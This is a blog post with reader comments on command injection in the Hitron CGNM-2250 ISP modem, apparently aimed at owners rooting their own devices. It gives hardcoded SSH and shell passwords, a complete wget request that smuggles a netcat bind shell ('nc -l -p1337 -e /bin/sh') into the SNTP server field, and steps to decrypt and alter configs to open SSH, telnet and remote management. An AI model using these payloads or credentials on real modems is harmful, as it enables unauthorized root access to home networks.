Remote code execution with Hitron CGNM-2250


Edit: This has been fixed in the latest firmare update

The routers that you receive from your ISP are almost always garbage: not many options to configure and pitiful wifi range. The router/modem that Shaw customers receive is the Hitron CGNM-2250 thankfully isn't completely terrible, 802.11ac plus gigabit ports. I was poking about and researching the model and came upon an exploit for a similar model version for remote code execution. The CGNM-2250 is vulnerable as well, for reference my software version is with hardware version 1A. The input for the ping utility through the web interface isn't sanitized so you can enter arbitrary input. I discovered that it has a few basic utilities, including Dropbear.


From there you can ssh into your router with

ssh mso@ -p 29

The password is msopassword (go figure!)

You'll be greeted with a fun menu driven interface. 

Most of the menus are for debugging and initial programming purposes. There is a menu option to set the TFTP download image URL to flash the device, so it might be possible to flash your own firmware though I don't know how possible that is.

Going back to the web interface, I was able to see what tools and programs are available on the router.

It is your basic Linux system, busybox plus some manufacturer utilities. For a full list of binaries available see below: #/sbin wlanconfig wifitool wifirrm watchdog vconfig utelnetd udhcpd udhcpc udevstart udevsend udevd udev ti_udhcpc ti_todc ti_tftp ti_syslogd ti_dhcp6c start-stop-daemon route rmmod reboot radartool poweroff pktlogdump pktlogconf manufacture_ath_throughput_sta manufacture_ath_throughput_ap makeVAP lsmod klogd killVAP iwpriv iwlist iwconfig insmod init ifconfig ht_wifi_ioctl ht_atom_cmd hostapd_cli hostapd halt fsck.ext3 fdisk cfg blockdev atomcmdlist athstatsclr athstats athcfg_api arp apup apstats apdown apcfg activateVAP 80211stats #/usr/bin which uptime traceroute6 traceroute tr top tftp test renice pstree pmap mkfifo logger killall hexdump head free flock find expr dirname cut crontab basename awk add-shell [[ [ #/bin xmlwf umount touch tar sync sleep sh sed rm pwd ps ping6 ping pcap-config netstat mv mount more mknod mkdir luac lua ls login ln kill iptunnel iprule iproute iplink ipaddr ip hostname grep getopt false echo dnsdomainname dmesg df dd date cp clnkstat clnkrst clnkqos clnkpm clnkmocamib clnkmem clnkmcast clnkhwtst clnkfwupd clnkcfg clinkd chown chmod cat busybox bash ash DCAP.46 DCAP.45 DCAP.44 DCAP.42 DCAP.41 DCAP.40 DCAP.38 DCAP.37 DCAP.35 DCAP.19 DCAP.18 DCAP.16 DCAP.137 DCAP.132 DCAP.126 DCAP.125 DCAP.123 DCAP.122 DCAP.116 DCAP.115 DCAP.112 DCAP.111 DCAP.110 DCAP.109 DCAP.107 DCAP.104 DCAP.103 DCAP.102 DCAP.101 DCAP.08 DCAP.03 DCAP.02 DCAP CandDdvr.ko ##/usr/sbin watchdog_rt upstream_manager_1q upstream_manager upgradebox update testmode sync_app_np_reboot swdl2 sw_dl snmpcmd snmp_agent_cm setstartup setkey setenv sched runall rpc_reverse_server_util rpc_reverse_server rpc_management_server rpc_ifconfig rfs.cfg rfs regs qos_dsx_sm productionmode printenv pp_fw_download portmap pmap_set pmap_dump pcd nvtst nvread mptint mlx logger ledcfg l2switch_iram.img l2switch_init l2switch_dram.img iostat iccctl icc_genEvent htxvendordb ht_iwcmd ht_buttond hal_tuner_mgr hal_event_mbox hal_cmd_mbox gptimer gim getenv flash_eraseall fdump ext_switch_init eventmgr_cm energy_manager_app downstream_manager docsis_mac_manager docsis_mac_driver docsis_init_once docsis_dl_box docsis_config_to_text dmg_provisioning dl dispatcher ddl dbridge_init crond cmdl cm_status cli chroot cefdk cc_init_once brctl bpi_tek bpi_sa_map bpi_auth MxL_HRCLS_FW_4.1.5.5.mbin MxL_HRCLS_FW.mbin FwUpstreamDocsis3_I.bin FwUpstreamDocsis3_D.bin FwUpstreamDocsis2_I.bin FwUpstreamDocsis2_D.bin Through digging in the CLI menu I found that /etc/scripts/ is ran on startup, making it a easier to inject any commands you want to run at startup. I haven't been able to get to a shell yet, since logging in with the 'mso' user it takes you to the CLI menu. But cat /etc/passwd reveals:


One should be able to symlink /bin/sh to /usr/sbin/cli so upon login it would drop to a shell. Entering commands via the web interface is a bit tricky since it doesn't like pipes (|), it's just a matter of getting around the JS validation. Once I can get to a shell I'll write a followup to this post Issue patched in version



also shell password from that CLI is stAphuV8

In reply to by david (not verified)


Nice, how'd you work that shell pw out?

In reply to by Rob (not verified)


I found it by searching around the filesystem for strings that appeared in the CLI and following linked libraries. Eventually I came across a library file that had some hints that this was the password. I don't have all the details with me now, but with some more skills/knowledge this could be easily reversed since we have access to all of the files.

The CLI shell is run with restricted user however, so I had to plant a root shell upgrade using the command injection to get full root shell.

I have this router with through Shaw (Canadian ISP) with FW, so the webapps exploit no longer works. I need root on the device to set up an ssh server (dropbear I guess would be fine). In your investigations did you find any other ways to get root?

In reply to by david (not verified)


A root shell is possible in firmware through another input validation bug in Administration/Time Setting. You need to sniff network traffic to retrieve the userId cookie and csrf_token, then use wget or curl to set the SNTP server to (for example) "$(nc$IFS-l$IFS-p1337$IFS-e$IFS/bin/sh)". The web interface does not allow special characters, so wget/curl bypasses the client-side checks. Once this is special time server is set you can enable SNTP and you'll be able to connect to port 1337 using netcat on a client machine and get a root shell. The change is persistent through reboots (until Shaw finds out about it), and you can disable it by changing the time setting back to ToD function.

My wget script is:

wget --header="Cookie: userid=$USERID; userName=; password=" -O /dev/stdout --post-data="model=%7B%22sntpOnOff%22%3A%22Enabled%22%2C%22sntpTimeZone%22%3A%220%22%2C%22sntpSrvName%22%3A%22%24%28nc%24IFS-l%24IFS-p1337%24IFS-e%24IFS/bin/sh%29%22%2C%22todOnOff%22%3A%22Disabled%22%2C%22todTimeZone%22%3A%220%22%2C%22daylightOnOff%22%3A%22Enabled%22%2C%22daylightTime%22%3A%2260%22%2C%22sntpinfo%22%3A%221%22%2C%22sntpTime%22%3A%22%22%7D&csrf_token=$CSRF"

Set $USERID and $CSRF to what you find from sniffing.

Using this I was able to dump the entire flash. If I recall the password to get out of the cli is found inside, use strings to find it. In mine this password appears to be: "D0nt4g3tme!"

Could you send me a tutorial on how to get to the root shell. Also do you know what the password for the user "mso" is or where/if I could find it. I have never used wget before. I have 2 of these hitron modems that I got for free and I want to try enabling some of their extra features such as support for multiple SSIDs and the USB ports so I can use them as wifi access points. Any help would be greatly appreciated. I also have one of these hitron modems from shaw which I am using to receive my cable service. I would love to find out how I could get to extra diagnostic menus that would let me read the signal levels, see how many upstream and downstream channels my modem is using, or other stuff.

After some trial and error I was able to run the wget script on 2 of my hitron modems and set the SNTP server to "$(nc$IFS-l$IFS-p1337$IFS-e$IFS/bin/sh)" however now I have no idea how to connect to port 1337 using netcat. I tried running netcat and the furthest I got was to a screen that said "Connection to 1337 port [udp/*] succeeded!" when I entered the following command in terminal "nc -v -u 1337"

Hi, great info on this thread!. I also have a Hitron 2250 from Shaw. I'm a coder, not much work on hardware. I've been fighting the "worst malware ever" for weeks, tried absolutely everything, even formatting didn't fix it, and then when getting an entirely new laptop *still* didn't fix it! It's invisible to virus scans, McAfee tech support, Shaw...

I dug deeper & found a couple reports of the identical issue - and identical modem. I've put together a db to track the network connections & services (ie, netstat + tasklist) to figure out what's going on. My last step was to add the modem's activity log to cross-check but they don't exist! (or am I blind?)

I assume the log would still be stored though, right? I found a few sites with some starting steps (like & And I would need Linux, or is the Windows version (with a big warning) a bad idea?!)

I've tried literally everything on that stupid modem. The thing is it's the stupidest virus every, it's basically just a timed browser redirect to pages that don't even work. I swear the background task actually watches for what I start deleting things, and it relocates it's important files (and grabs anything missing back off the modem). Honest I'm not crazy! Or else I've been outsmarted by a piece of code. :-(

A "standard" reverse shell should be possible as well. (e.g. running netcat -lvp 4444 # on your host.) Try injecting this:


BusyBox's nc requires having the -e at the end, which is why most of the generic nc examples you'll see posted online don't work.

Since David Manoucherhri took down I dug around the CVE and found this:…

I compiled the program like the instructions say:
$ gcc -o hc -s -O3 hc.c -lcrypto
Then I used the program to decrypt my config
$ ./hc cmconfig.cfg cmconfig_plain.txt d # decrypting

Here is my config

From there I set all the these "webs_sub_menu" options to true
and I set "fw_remote_management_rule ipv4 ssh 22 true".

I also set the mso password to the same thing cusadmin was set to. This is the current pw.
um_auth_account_name admin mso
um_auth_account_password admin $1$pyIKrckC$/hkd0SN7TypRCkOUINraz/
um_auth_account_enable admin true

Then I encrypted the config and uploaded it to my modem:
$ ./hc cmconfig_plain.txt cmconfig.cfg e # encrypting

Then in the gui I was able add an IP to the remote management whitelist.
From there I was able to ssh into the modem from a remote ip using the user mso and the cusadmin password.

I get to the CLI but I can't get into shell because I dont know what the password is.

In reply to by thoff (not verified)


Managed to get a complete image of mmcblk0 and a copy of all the filesystems.

I managed to do this by holding down the front button while booting and then going thru the uart pins near that button I was able to login to the console.
From there I plugged in a usb drive and copied over mmcblk0 along with all the partitions.
Then I mounted all the partitions and copied all the contents onto the USB.

Then I compressed that into a tar.gz file and uploaded it to my google drive.…

In reply to by Alex (not verified)


# Download your router's config file from the web management interface at
# *Default password is the router's serial number* (Really easy to make a wordlist for wpa cracking)
mkdir ~/hitron

# Config file name matches the mac address of the router.
cp ~/Downloads/hitronconfigfile.cfg ~/hitron/

# change directories
cd ~/hitron

# You might need to install some dependencies to get this to work, maybe not.
sudo apt-get install build-essential -y

# Download this thing and compile it.
gcc -o hc -s -O3 hc.c -lcrypto

# This is how you decrypt the file.
./hc hitronconfigfile.cfg hitronconfigfile.txt d

# To enable the hidden menus you can run the following
sed -i -n "s/webs_main_memu\(.*\)false/webs_main_memu\1true/p" hitronconfigfile.txt
sed -i -n "s/webs_sub_menu\(.*\)false/webs_sub_menu\1true/p" hitronconfigfile.txt

# To enable telnet run the following (turn on via the remote management menu, only works remotely)
sed -i "s/telnet_enable.*/telnet_enable true/" hitronconfigfile.txt

# To enable ssh run the following (turn on via the remote management menu, only works remotely)
sed -i "s/ssh_enable.*/ssh_enable true/" hitronconfigfile.txt

# To enable snmp management
sed -i "s/fw_local_management_rule ipv4 online snmp false/fw_local_management_rule ipv4 online snmp true/" hitronconfigfile.txt
sed -i "s/fw_local_management_rule ipv4 offline snmp false/fw_local_management_rule ipv4 offline snmp true/" hitronconfigfile.txt

# This is how you encrypt the file
./hc hitronconfigfile.txt hitronconfigfile-modified.cfg e

# Then go upload hitronconfigfile-modified.cfg onto your router. or for instructions

In reply to by marianoo (not verified)


the hitron doesnt want to port forward to anything that is not on
a registered list by the look of it. Was thinking of trying
to find the list and adding some lines for my ports.
ANyone tried it?